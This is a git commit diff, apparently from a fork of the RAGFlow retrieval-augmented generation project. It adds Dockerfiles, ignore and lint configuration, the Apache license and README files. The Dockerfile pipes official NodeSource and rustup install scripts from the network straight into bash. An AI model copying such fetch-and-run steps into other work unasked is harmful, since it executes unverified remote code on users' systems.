commit 88db2539b0e6a318decda512e9c0ca50b3a10765 Author: dangzerong <429714019@qq.com> Date: Mon Oct 13 13:18:03 2025 +0800 将flask改成fastapi diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..199ea9a --- /dev/null +++ b/.gitattributes @@ -0,0 +1,2 @@ +*.sh text eol=lf +docker/entrypoint.sh text eol=lf executable diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..956cd63 --- /dev/null +++ b/.gitignore @@ -0,0 +1,197 @@ +# Generated by Cargo +# will have compiled files and executables +debug/ +target/ +__pycache__/ +hudet/ +cv/ +layout_app.py +api/flask_session + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk + +# MSVC Windows builds of rustc generate these, which store debugging information +*.pdb +*.trie + +.idea/ +.vscode/ + +# Exclude Mac generated files +.DS_Store + +# Exclude the log folder +docker/ragflow-logs/ +/flask_session +/logs +rag/res/deepdoc + +# Exclude sdk generated files +sdk/python/ragflow.egg-info/ +sdk/python/build/ +sdk/python/dist/ +sdk/python/ragflow_sdk.egg-info/ + +# Exclude dep files +libssl*.deb +tika-server*.jar* +cl100k_base.tiktoken +chrome* +huggingface.co/ +nltk_data/ + +# Exclude hash-like temporary files like 9b5ad71b2ce5302211f9c61530b329a4922fc6a4 +*[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]* +.lh/ +.venv +docker/data + + +#--------------------------------------------------# +# The following was generated with gitignore.nvim: # +#--------------------------------------------------# +# Gitignore for the following technologies: Node + +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +lerna-debug.log* +.pnpm-debug.log* + +# Diagnostic reports (https://nodejs.org/api/report.html) +report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json + +# Runtime data +pids +*.pid +*.seed +*.pid.lock + +# Directory for instrumented libs generated by jscoverage/JSCover +lib-cov + +# Coverage directory used by tools like istanbul +coverage +*.lcov + +# nyc test coverage +.nyc_output + +# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) +.grunt + +# Bower dependency directory (https://bower.io/) +bower_components + +# node-waf configuration +.lock-wscript + +# Compiled binary addons (https://nodejs.org/api/addons.html) +build/Release + +# Dependency directories +node_modules/ +jspm_packages/ + +# Snowpack dependency directory (https://snowpack.dev/) +web_modules/ + +# TypeScript cache +*.tsbuildinfo + +# Optional npm cache directory +.npm + +# Optional eslint cache +.eslintcache + +# Optional stylelint cache +.stylelintcache + +# Microbundle cache +.rpt2_cache/ +.rts2_cache_cjs/ +.rts2_cache_es/ +.rts2_cache_umd/ + +# Optional REPL history +.node_repl_history + +# Output of 'npm pack' +*.tgz + +# Yarn Integrity file +.yarn-integrity + +# dotenv environment variable files +.env +.env.development.local +.env.test.local +.env.production.local +.env.local + +# parcel-bundler cache (https://parceljs.org/) +.cache +.parcel-cache + +# Next.js build output +.next +out + +# Nuxt.js build / generate output +.nuxt +dist + +# Gatsby files +.cache/ +# Comment in the public line in if your project uses Gatsby and not Next.js +# https://nextjs.org/blog/next-9-1#public-directory-support +# public + +# vuepress build output +.vuepress/dist + +# vuepress v2.x temp and cache directory +.temp + +# Docusaurus cache and generated files +.docusaurus + +# Serverless directories +.serverless/ + +# FuseBox cache +.fusebox/ + +# DynamoDB Local files +.dynamodb/ + +# TernJS port file +.tern-port + +# Stores VSCode versions used for testing VSCode extensions +.vscode-test + +# yarn v2 +.yarn/cache +.yarn/unplugged +.yarn/build-state.yml +.yarn/install-state.gz +.pnp.* + +# Serverless Webpack directories +.webpack/ + +# SvelteKit build / generate output +.svelte-kit + +# Default backup dir +backup diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml new file mode 100644 index 0000000..8a8cb2d --- /dev/null +++ b/.pre-commit-config.yaml @@ -0,0 +1,19 @@ +repos: + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v4.6.0 + hooks: + - id: check-yaml + - id: check-json + - id: end-of-file-fixer + - id: trailing-whitespace + - id: check-case-conflict + - id: check-merge-conflict + - id: mixed-line-ending + - id: check-symlinks + + - repo: https://github.com/astral-sh/ruff-pre-commit + rev: v0.11.6 + hooks: + - id: ruff + args: [ --fix ] + - id: ruff-format diff --git a/.trivyignore b/.trivyignore new file mode 100644 index 0000000..8f2725f --- /dev/null +++ b/.trivyignore @@ -0,0 +1,15 @@ +**/*.md +**/*.min.js +**/*.min.css +**/*.svg +**/*.png +**/*.jpg +**/*.jpeg +**/*.gif +**/*.woff +**/*.woff2 +**/*.map +**/*.webp +**/*.ico +**/*.ttf +**/*.eot \ No newline at end of file diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..67fd264 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,213 @@ +# base stage +FROM ubuntu:22.04 AS base +USER root +SHELL ["/bin/bash", "-c"] + +ARG NEED_MIRROR=0 +ARG LIGHTEN=0 +ENV LIGHTEN=${LIGHTEN} + +WORKDIR /ragflow + +# Copy models downloaded via download_deps.py +RUN mkdir -p /ragflow/rag/res/deepdoc /root/.ragflow +RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/huggingface.co,target=/huggingface.co \ + cp /huggingface.co/InfiniFlow/huqie/huqie.txt.trie /ragflow/rag/res/ && \ + tar --exclude='.*' -cf - \ + /huggingface.co/InfiniFlow/text_concat_xgb_v1.0 \ + /huggingface.co/InfiniFlow/deepdoc \ + | tar -xf - --strip-components=3 -C /ragflow/rag/res/deepdoc +RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/huggingface.co,target=/huggingface.co \ + if [ "$LIGHTEN" != "1" ]; then \ + (tar -cf - \ + /huggingface.co/BAAI/bge-large-zh-v1.5 \ + /huggingface.co/maidalun1020/bce-embedding-base_v1 \ + | tar -xf - --strip-components=2 -C /root/.ragflow) \ + fi + +# https://github.com/chrismattmann/tika-python +# This is the only way to run python-tika without internet access. Without this set, the default is to check the tika version and pull latest every time from Apache. +RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/,target=/deps \ + cp -r /deps/nltk_data /root/ && \ + cp /deps/tika-server-standard-3.0.0.jar /deps/tika-server-standard-3.0.0.jar.md5 /ragflow/ && \ + cp /deps/cl100k_base.tiktoken /ragflow/9b5ad71b2ce5302211f9c61530b329a4922fc6a4 + +ENV TIKA_SERVER_JAR="file:///ragflow/tika-server-standard-3.0.0.jar" +ENV DEBIAN_FRONTEND=noninteractive + +# Setup apt +# Python package and implicit dependencies: +# opencv-python: libglib2.0-0 libglx-mesa0 libgl1 +# aspose-slides: pkg-config libicu-dev libgdiplus libssl1.1_1.1.1f-1ubuntu2_amd64.deb +# python-pptx: default-jdk tika-server-standard-3.0.0.jar +# selenium: libatk-bridge2.0-0 chrome-linux64-121-0-6167-85 +# Building C extensions: libpython3-dev libgtk-4-1 libnss3 xdg-utils libgbm-dev +RUN --mount=type=cache,id=ragflow_apt,target=/var/cache/apt,sharing=locked \ + if [ "$NEED_MIRROR" == "1" ]; then \ + sed -i 's|http://ports.ubuntu.com|http://mirrors.tuna.tsinghua.edu.cn|g' /etc/apt/sources.list; \ + sed -i 's|http://archive.ubuntu.com|http://mirrors.tuna.tsinghua.edu.cn|g' /etc/apt/sources.list; \ + fi; \ + rm -f /etc/apt/apt.conf.d/docker-clean && \ + echo 'Binary::apt::APT::Keep-Downloaded-Packages "true";' > /etc/apt/apt.conf.d/keep-cache && \ + chmod 1777 /tmp && \ + apt update && \ + apt --no-install-recommends install -y ca-certificates && \ + apt update && \ + apt install -y libglib2.0-0 libglx-mesa0 libgl1 && \ + apt install -y pkg-config libicu-dev libgdiplus && \ + apt install -y default-jdk && \ + apt install -y libatk-bridge2.0-0 && \ + apt install -y libpython3-dev libgtk-4-1 libnss3 xdg-utils libgbm-dev && \ + apt install -y libjemalloc-dev && \ + apt install -y python3-pip pipx nginx unzip curl wget git vim less && \ + apt install -y ghostscript + +RUN if [ "$NEED_MIRROR" == "1" ]; then \ + pip3 config set global.index-url https://mirrors.aliyun.com/pypi/simple && \ + pip3 config set global.trusted-host mirrors.aliyun.com; \ + mkdir -p /etc/uv && \ + echo "[[index]]" > /etc/uv/uv.toml && \ + echo 'url = "https://mirrors.aliyun.com/pypi/simple"' >> /etc/uv/uv.toml && \ + echo "default = true" >> /etc/uv/uv.toml; \ + fi; \ + pipx install uv + +ENV PYTHONDONTWRITEBYTECODE=1 DOTNET_SYSTEM_GLOBALIZATION_INVARIANT=1 +ENV PATH=/root/.local/bin:$PATH + +# nodejs 12.22 on Ubuntu 22.04 is too old +RUN --mount=type=cache,id=ragflow_apt,target=/var/cache/apt,sharing=locked \ + curl -fsSL https://deb.nodesource.com/setup_20.x | bash - && \ + apt purge -y nodejs npm cargo && \ + apt autoremove -y && \ + apt update && \ + apt install -y nodejs + +# A modern version of cargo is needed for the latest version of the Rust compiler. +RUN apt update && apt install -y curl build-essential \ + && if [ "$NEED_MIRROR" == "1" ]; then \ + # Use TUNA mirrors for rustup/rust dist files + export RUSTUP_DIST_SERVER="https://mirrors.tuna.tsinghua.edu.cn/rustup"; \ + export RUSTUP_UPDATE_ROOT="https://mirrors.tuna.tsinghua.edu.cn/rustup/rustup"; \ + echo "Using TUNA mirrors for Rustup."; \ + fi; \ + # Force curl to use HTTP/1.1 + curl --proto '=https' --tlsv1.2 --http1.1 -sSf https://sh.rustup.rs | bash -s -- -y --profile minimal \ + && echo 'export PATH="/root/.cargo/bin:${PATH}"' >> /root/.bashrc + +ENV PATH="/root/.cargo/bin:${PATH}" + +RUN cargo --version && rustc --version + +# Add msssql ODBC driver +# macOS ARM64 environment, install msodbcsql18. +# general x86_64 environment, install msodbcsql17. +RUN --mount=type=cache,id=ragflow_apt,target=/var/cache/apt,sharing=locked \ + curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add - && \ + curl https://packages.microsoft.com/config/ubuntu/22.04/prod.list > /etc/apt/sources.list.d/mssql-release.list && \ + apt update && \ + arch="$(uname -m)"; \ + if [ "$arch" = "arm64" ] || [ "$arch" = "aarch64" ]; then \ + # ARM64 (macOS/Apple Silicon or Linux aarch64) + ACCEPT_EULA=Y apt install -y unixodbc-dev msodbcsql18; \ + else \ + # x86_64 or others + ACCEPT_EULA=Y apt install -y unixodbc-dev msodbcsql17; \ + fi || \ + { echo "Failed to install ODBC driver"; exit 1; } + + + +# Add dependencies of selenium +RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/chrome-linux64-121-0-6167-85,target=/chrome-linux64.zip \ + unzip /chrome-linux64.zip && \ + mv chrome-linux64 /opt/chrome && \ + ln -s /opt/chrome/chrome /usr/local/bin/ +RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/chromedriver-linux64-121-0-6167-85,target=/chromedriver-linux64.zip \ + unzip -j /chromedriver-linux64.zip chromedriver-linux64/chromedriver && \ + mv chromedriver /usr/local/bin/ && \ + rm -f /usr/bin/google-chrome + +# https://forum.aspose.com/t/aspose-slides-for-net-no-usable-version-of-libssl-found-with-linux-server/271344/13 +# aspose-slides on linux/arm64 is unavailable +RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/,target=/deps \ + if [ "$(uname -m)" = "x86_64" ]; then \ + dpkg -i /deps/libssl1.1_1.1.1f-1ubuntu2_amd64.deb; \ + elif [ "$(uname -m)" = "aarch64" ]; then \ + dpkg -i /deps/libssl1.1_1.1.1f-1ubuntu2_arm64.deb; \ + fi + + +# builder stage +FROM base AS builder +USER root + +WORKDIR /ragflow + +# install dependencies from uv.lock file +COPY pyproject.toml uv.lock ./ + +# https://github.com/astral-sh/uv/issues/10462 +# uv records index url into uv.lock but doesn't failover among multiple indexes +RUN --mount=type=cache,id=ragflow_uv,target=/root/.cache/uv,sharing=locked \ + if [ "$NEED_MIRROR" == "1" ]; then \ + sed -i 's|pypi.org|mirrors.aliyun.com/pypi|g' uv.lock; \ + else \ + sed -i 's|mirrors.aliyun.com/pypi|pypi.org|g' uv.lock; \ + fi; \ + if [ "$LIGHTEN" == "1" ]; then \ + uv sync --python 3.10 --frozen; \ + else \ + uv sync --python 3.10 --frozen --all-extras; \ + fi + +COPY web web +COPY docs docs +RUN --mount=type=cache,id=ragflow_npm,target=/root/.npm,sharing=locked \ + cd web && npm install && npm run build + +COPY .git /ragflow/.git + +RUN version_info=$(git describe --tags --match=v* --first-parent --always); \ + if [ "$LIGHTEN" == "1" ]; then \ + version_info="$version_info slim"; \ + else \ + version_info="$version_info full"; \ + fi; \ + echo "RAGFlow version: $version_info"; \ + echo $version_info > /ragflow/VERSION + +# production stage +FROM base AS production +USER root + +WORKDIR /ragflow + +# Copy Python environment and packages +ENV VIRTUAL_ENV=/ragflow/.venv +COPY --from=builder ${VIRTUAL_ENV} ${VIRTUAL_ENV} +ENV PATH="${VIRTUAL_ENV}/bin:${PATH}" + +ENV PYTHONPATH=/ragflow/ + +COPY web web +COPY api api +COPY conf conf +COPY deepdoc deepdoc +COPY rag rag +COPY agent agent +COPY graphrag graphrag +COPY agentic_reasoning agentic_reasoning +COPY pyproject.toml uv.lock ./ +COPY mcp mcp +COPY plugin plugin + +COPY docker/service_conf.yaml.template ./conf/service_conf.yaml.template +COPY docker/entrypoint.sh ./ +RUN chmod +x ./entrypoint*.sh + +# Copy compiled web pages +COPY --from=builder /ragflow/web/dist /ragflow/web/dist + +COPY --from=builder /ragflow/VERSION /ragflow/VERSION +ENTRYPOINT ["./entrypoint.sh"] diff --git a/Dockerfile.deps b/Dockerfile.deps new file mode 100644 index 0000000..c16ad44 --- /dev/null +++ b/Dockerfile.deps @@ -0,0 +1,10 @@ +# This builds an image that contains the resources needed by Dockerfile +# +FROM scratch + +# Copy resources downloaded via download_deps.py +COPY chromedriver-linux64-121-0-6167-85 chrome-linux64-121-0-6167-85 cl100k_base.tiktoken libssl1.1_1.1.1f-1ubuntu2_amd64.deb libssl1.1_1.1.1f-1ubuntu2_arm64.deb tika-server-standard-3.0.0.jar tika-server-standard-3.0.0.jar.md5 libssl*.deb / + +COPY nltk_data /nltk_data + +COPY huggingface.co /huggingface.co diff --git a/Dockerfile.scratch.oc9 b/Dockerfile.scratch.oc9 new file mode 100644 index 0000000..6442473 --- /dev/null +++ b/Dockerfile.scratch.oc9 @@ -0,0 +1,61 @@ +FROM opencloudos/opencloudos:9.0 +USER root + +WORKDIR /ragflow + +RUN dnf update -y && dnf install -y wget curl gcc-c++ openmpi-devel + +RUN wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh -O ~/miniconda.sh && \ + bash ~/miniconda.sh -b -p /root/miniconda3 && \ + rm ~/miniconda.sh && ln -s /root/miniconda3/etc/profile.d/conda.sh /etc/profile.d/conda.sh && \ + echo ". /root/miniconda3/etc/profile.d/conda.sh" >> ~/.bashrc && \ + echo "conda activate base" >> ~/.bashrc + +ENV PATH /root/miniconda3/bin:$PATH + +RUN conda create -y --name py11 python=3.11 + +ENV CONDA_DEFAULT_ENV py11 +ENV CONDA_PREFIX /root/miniconda3/envs/py11 +ENV PATH $CONDA_PREFIX/bin:$PATH + +# RUN curl -sL https://rpm.nodesource.com/setup_14.x | bash - +RUN dnf install -y nodejs + +RUN dnf install -y nginx + +ADD ./web ./web +ADD ./api ./api +ADD ./docs ./docs +ADD ./conf ./conf +ADD ./deepdoc ./deepdoc +ADD ./rag ./rag +ADD ./requirements.txt ./requirements.txt +ADD ./agent ./agent +ADD ./graphrag ./graphrag +ADD ./plugin ./plugin + +RUN dnf install -y openmpi openmpi-devel python3-openmpi +ENV C_INCLUDE_PATH /usr/include/openmpi-x86_64:$C_INCLUDE_PATH +ENV LD_LIBRARY_PATH /usr/lib64/openmpi/lib:$LD_LIBRARY_PATH +RUN rm /root/miniconda3/envs/py11/compiler_compat/ld +RUN cd ./web && npm i && npm run build +RUN conda run -n py11 pip install $(grep -ivE "mpi4py" ./requirements.txt) # without mpi4py==3.1.5 +RUN conda run -n py11 pip install redis + +RUN dnf update -y && \ + dnf install -y glib2 mesa-libGL && \ + dnf clean all + +RUN conda run -n py11 pip install ollama +RUN conda run -n py11 python -m nltk.downloader punkt +RUN conda run -n py11 python -m nltk.downloader wordnet + +ENV PYTHONPATH=/ragflow/ +ENV HF_ENDPOINT=https://hf-mirror.com + +COPY docker/service_conf.yaml.template ./conf/service_conf.yaml.template +ADD docker/entrypoint.sh ./entrypoint.sh +RUN chmod +x ./entrypoint.sh + +ENTRYPOINT ["./entrypoint.sh"] diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..261eeb9 --- /dev/null +++ b/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. 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+ +ragflow logo + +
+ +

+ README in English + 简体中文版自述文件 + 繁體版中文自述文件 + 日本語のREADME + 한국어 + Bahasa Indonesia + Português(Brasil) +

+ +

+ + follow on X(Twitter) + + + Static Badge + + + docker pull infiniflow/ragflow:v0.20.5 + + + Latest Release + + + license + + + Ask DeepWiki + +

+ +

+ Document | + Roadmap | + Twitter | + Discord | + Demo +

+ +# + +
+infiniflow%2Fragflow | Trendshift +
+ +
+📕 Table of Contents + +- 💡 [What is RAGFlow?](#-what-is-ragflow) +- 🎮 [Demo](#-demo) +- 📌 [Latest Updates](#-latest-updates) +- 🌟 [Key Features](#-key-features) +- 🔎 [System Architecture](#-system-architecture) +- 🎬 [Get Started](#-get-started) +- 🔧 [Configurations](#-configurations) +- 🔧 [Build a docker image without embedding models](#-build-a-docker-image-without-embedding-models) +- 🔧 [Build a docker image including embedding models](#-build-a-docker-image-including-embedding-models) +- 🔨 [Launch service from source for development](#-launch-service-from-source-for-development) +- 📚 [Documentation](#-documentation) +- 📜 [Roadmap](#-roadmap) +- 🏄 [Community](#-community) +- 🙌 [Contributing](#-contributing) + +
+ +## 💡 What is RAGFlow? + +[RAGFlow](https://ragflow.io/) is a leading open-source Retrieval-Augmented Generation (RAG) engine that fuses cutting-edge RAG with Agent capabilities to create a superior context layer for LLMs. It offers a streamlined RAG workflow adaptable to enterprises of any scale. Powered by a converged context engine and pre-built agent templates, RAGFlow enables developers to transform complex data into high-fidelity, production-ready AI systems with exceptional efficiency and precision. + +## 🎮 Demo + +Try our demo at [https://demo.ragflow.io](https://demo.ragflow.io). + +
+ + +
+ +## 🔥 Latest Updates + +- 2025-08-08 Supports OpenAI's latest GPT-5 series models. +- 2025-08-04 Supports new models, including Kimi K2 and Grok 4. +- 2025-08-01 Supports agentic workflow and MCP. +- 2025-05-23 Adds a Python/JavaScript code executor component to Agent. +- 2025-05-05 Supports cross-language query. +- 2025-03-19 Supports using a multi-modal model to make sense of images within PDF or DOCX files. +- 2025-02-28 Combined with Internet search (Tavily), supports reasoning like Deep Research for any LLMs. +- 2024-12-18 Upgrades Document Layout Analysis model in DeepDoc. +- 2024-08-22 Support text to SQL statements through RAG. + +## 🎉 Stay Tuned + +⭐️ Star our repository to stay up-to-date with exciting new features and improvements! Get instant notifications for new +releases! 🌟 + +
+ +
+ +## 🌟 Key Features + +### 🍭 **"Quality in, quality out"** + +- [Deep document understanding](./deepdoc/README.md)-based knowledge extraction from unstructured data with complicated + formats. +- Finds "needle in a data haystack" of literally unlimited tokens. + +### 🍱 **Template-based chunking** + +- Intelligent and explainable. +- Plenty of template options to choose from. + +### 🌱 **Grounded citations with reduced hallucinations** + +- Visualization of text chunking to allow human intervention. +- Quick view of the key references and traceable citations to support grounded answers. + +### 🍔 **Compatibility with heterogeneous data sources** + +- Supports Word, slides, excel, txt, images, scanned copies, structured data, web pages, and more. + +### 🛀 **Automated and effortless RAG workflow** + +- Streamlined RAG orchestration catered to both personal and large businesses. +- Configurable LLMs as well as embedding models. +- Multiple recall paired with fused re-ranking. +- Intuitive APIs for seamless integration with business. + +## 🔎 System Architecture + +
+ +
+ +## 🎬 Get Started + +### 📝 Prerequisites + +- CPU >= 4 cores +- RAM >= 16 GB +- Disk >= 50 GB +- Docker >= 24.0.0 & Docker Compose >= v2.26.1 +- [gVisor](https://gvisor.dev/docs/user_guide/install/): Required only if you intend to use the code executor (sandbox) feature of RAGFlow. + +> [!TIP] +> If you have not installed Docker on your local machine (Windows, Mac, or Linux), see [Install Docker Engine](https://docs.docker.com/engine/install/). + +### 🚀 Start up the server + +1. Ensure `vm.max_map_count` >= 262144: + + > To check the value of `vm.max_map_count`: + > + > ```bash + > $ sysctl vm.max_map_count + > ``` + > + > Reset `vm.max_map_count` to a value at least 262144 if it is not. + > + > ```bash + > # In this case, we set it to 262144: + > $ sudo sysctl -w vm.max_map_count=262144 + > ``` + > + > This change will be reset after a system reboot. To ensure your change remains permanent, add or update the + > `vm.max_map_count` value in **/etc/sysctl.conf** accordingly: + > + > ```bash + > vm.max_map_count=262144 + > ``` + +2. Clone the repo: + + ```bash + $ git clone https://github.com/infiniflow/ragflow.git + ``` + +3. Start up the server using the pre-built Docker images: + +> [!CAUTION] +> All Docker images are built for x86 platforms. We don't currently offer Docker images for ARM64. +> If you are on an ARM64 platform, follow [this guide](https://ragflow.io/docs/dev/build_docker_image) to build a Docker image compatible with your system. + + > The command below downloads the `v0.20.5-slim` edition of the RAGFlow Docker image. See the following table for descriptions of different RAGFlow editions. To download a RAGFlow edition different from `v0.20.5-slim`, update the `RAGFLOW_IMAGE` variable accordingly in **docker/.env** before using `docker compose` to start the server. For example: set `RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.5` for the full edition `v0.20.5`. + + ```bash + $ cd ragflow/docker + # Use CPU for embedding and DeepDoc tasks: + $ docker compose -f docker-compose.yml up -d + + # To use GPU to accelerate embedding and DeepDoc tasks: + # docker compose -f docker-compose-gpu.yml up -d + ``` + + | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable? | + |-------------------|-----------------|-----------------------|--------------------------| + | v0.20.5 | ≈9 | :heavy_check_mark: | Stable release | + | v0.20.5-slim | ≈2 | ❌ | Stable release | + | nightly | ≈9 | :heavy_check_mark: | _Unstable_ nightly build | + | nightly-slim | ≈2 | ❌ | _Unstable_ nightly build | + +4. Check the server status after having the server up and running: + + ```bash + $ docker logs -f ragflow-server + ``` + + _The following output confirms a successful launch of the system:_ + + ```bash + + ____ ___ ______ ______ __ + / __ \ / | / ____// ____// /____ _ __ + / /_/ // /| | / / __ / /_ / // __ \| | /| / / + / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ / + /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/ + + * Running on all addresses (0.0.0.0) + ``` + + > If you skip this confirmation step and directly log in to RAGFlow, your browser may prompt a `network anormal` + > error because, at that moment, your RAGFlow may not be fully initialized. + +5. In your web browser, enter the IP address of your server and log in to RAGFlow. + > With the default settings, you only need to enter `http://IP_OF_YOUR_MACHINE` (**sans** port number) as the default + > HTTP serving port `80` can be omitted when using the default configurations. +6. In [service_conf.yaml.template](./docker/service_conf.yaml.template), select the desired LLM factory in `user_default_llm` and update + the `API_KEY` field with the corresponding API key. + + > See [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) for more information. + + _The show is on!_ + +## 🔧 Configurations + +When it comes to system configurations, you will need to manage the following files: + +- [.env](./docker/.env): Keeps the fundamental setups for the system, such as `SVR_HTTP_PORT`, `MYSQL_PASSWORD`, and + `MINIO_PASSWORD`. +- [service_conf.yaml.template](./docker/service_conf.yaml.template): Configures the back-end services. The environment variables in this file will be automatically populated when the Docker container starts. Any environment variables set within the Docker container will be available for use, allowing you to customize service behavior based on the deployment environment. +- [docker-compose.yml](./docker/docker-compose.yml): The system relies on [docker-compose.yml](./docker/docker-compose.yml) to start up. + +> The [./docker/README](./docker/README.md) file provides a detailed description of the environment settings and service +> configurations which can be used as `${ENV_VARS}` in the [service_conf.yaml.template](./docker/service_conf.yaml.template) file. + +To update the default HTTP serving port (80), go to [docker-compose.yml](./docker/docker-compose.yml) and change `80:80` +to `:80`. + +Updates to the above configurations require a reboot of all containers to take effect: + +> ```bash +> $ docker compose -f docker-compose.yml up -d +> ``` + +### Switch doc engine from Elasticsearch to Infinity + +RAGFlow uses Elasticsearch by default for storing full text and vectors. To switch to [Infinity](https://github.com/infiniflow/infinity/), follow these steps: + +1. Stop all running containers: + + ```bash + $ docker compose -f docker/docker-compose.yml down -v + ``` + +> [!WARNING] +> `-v` will delete the docker container volumes, and the existing data will be cleared. + +2. Set `DOC_ENGINE` in **docker/.env** to `infinity`. + +3. Start the containers: + + ```bash + $ docker compose -f docker-compose.yml up -d + ``` + +> [!WARNING] +> Switching to Infinity on a Linux/arm64 machine is not yet officially supported. + +## 🔧 Build a Docker image without embedding models + +This image is approximately 2 GB in size and relies on external LLM and embedding services. + +```bash +git clone https://github.com/infiniflow/ragflow.git +cd ragflow/ +docker build --platform linux/amd64 --build-arg LIGHTEN=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim . +``` + +## 🔧 Build a Docker image including embedding models + +This image is approximately 9 GB in size. As it includes embedding models, it relies on external LLM services only. + +```bash +git clone https://github.com/infiniflow/ragflow.git +cd ragflow/ +docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly . +``` + +## 🔨 Launch service from source for development + +1. Install `uv` and `pre-commit`, or skip this step if they are already installed: + + ```bash + pipx install uv pre-commit + ``` + +2. Clone the source code and install Python dependencies: + + ```bash + git clone https://github.com/infiniflow/ragflow.git + cd ragflow/ + uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules + uv run download_deps.py + pre-commit install + ``` + +3. Launch the dependent services (MinIO, Elasticsearch, Redis, and MySQL) using Docker Compose: + + ```bash + docker compose -f docker/docker-compose-base.yml up -d + ``` + + Add the following line to `/etc/hosts` to resolve all hosts specified in **docker/.env** to `127.0.0.1`: + + ``` + 127.0.0.1 es01 infinity mysql minio redis sandbox-executor-manager + ``` + +4. If you cannot access HuggingFace, set the `HF_ENDPOINT` environment variable to use a mirror site: + + ```bash + export HF_ENDPOINT=https://hf-mirror.com + ``` + +5. If your operating system does not have jemalloc, please install it as follows: + + ```bash + # Ubuntu + sudo apt-get install libjemalloc-dev + # CentOS + sudo yum install jemalloc + # OpenSUSE + sudo zypper install jemalloc + # macOS + sudo brew install jemalloc + ``` + +6. Launch backend service: + + ```bash + source .venv/bin/activate + export PYTHONPATH=$(pwd) + bash docker/launch_backend_service.sh + ``` + +7. Install frontend dependencies: + + ```bash + cd web + npm install + ``` + +8. Launch frontend service: + + ```bash + npm run dev + ``` + + _The following output confirms a successful launch of the system:_ + + ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187) + +9. Stop RAGFlow front-end and back-end service after development is complete: + + ```bash + pkill -f "ragflow_server.py|task_executor.py" + ``` + + +## 📚 Documentation + +- [Quickstart](https://ragflow.io/docs/dev/) +- [Configuration](https://ragflow.io/docs/dev/configurations) +- [Release notes](https://ragflow.io/docs/dev/release_notes) +- [User guides](https://ragflow.io/docs/dev/category/guides) +- [Developer guides](https://ragflow.io/docs/dev/category/developers) +- [References](https://ragflow.io/docs/dev/category/references) +- [FAQs](https://ragflow.io/docs/dev/faq) + +## 📜 Roadmap + +See the [RAGFlow Roadmap 2025](https://github.com/infiniflow/ragflow/issues/4214) + +## 🏄 Community + +- [Discord](https://discord.gg/NjYzJD3GM3) +- [Twitter](https://twitter.com/infiniflowai) +- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions) + +## 🙌 Contributing + +RAGFlow flourishes via open-source collaboration. In this spirit, we embrace diverse contributions from the community. +If you would like to be a part, review our [Contribution Guidelines](https://ragflow.io/docs/dev/contributing) first. diff --git a/README_id.md b/README_id.md new file mode 100644 index 0000000..e1f4cf2 --- /dev/null +++ b/README_id.md @@ -0,0 +1,375 @@ +
+ +Logo ragflow + +
+ +

+ README in English + 简体中文版自述文件 + 繁體中文版自述文件 + 日本語のREADME + 한국어 + Bahasa Indonesia + Português(Brasil) +

+ +

+ + Ikuti di X (Twitter) + + + Lencana Daring + + + docker pull infiniflow/ragflow:v0.20.5 + + + Rilis Terbaru + + + Lisensi + + + Ask DeepWiki + +

+ +

+ Dokumentasi | + Peta Jalan | + Twitter | + Discord | + Demo +

+ +# + +
+📕 Daftar Isi + +- 💡 [Apa Itu RAGFlow?](#-apa-itu-ragflow) +- 🎮 [Demo](#-demo) +- 📌 [Pembaruan Terbaru](#-pembaruan-terbaru) +- 🌟 [Fitur Utama](#-fitur-utama) +- 🔎 [Arsitektur Sistem](#-arsitektur-sistem) +- 🎬 [Mulai](#-mulai) +- 🔧 [Konfigurasi](#-konfigurasi) +- 🔧 [Membangun Image Docker tanpa Model Embedding](#-membangun-image-docker-tanpa-model-embedding) +- 🔧 [Membangun Image Docker dengan Model Embedding](#-membangun-image-docker-dengan-model-embedding) +- 🔨 [Meluncurkan aplikasi dari Sumber untuk Pengembangan](#-meluncurkan-aplikasi-dari-sumber-untuk-pengembangan) +- 📚 [Dokumentasi](#-dokumentasi) +- 📜 [Peta Jalan](#-peta-jalan) +- 🏄 [Komunitas](#-komunitas) +- 🙌 [Kontribusi](#-kontribusi) + +
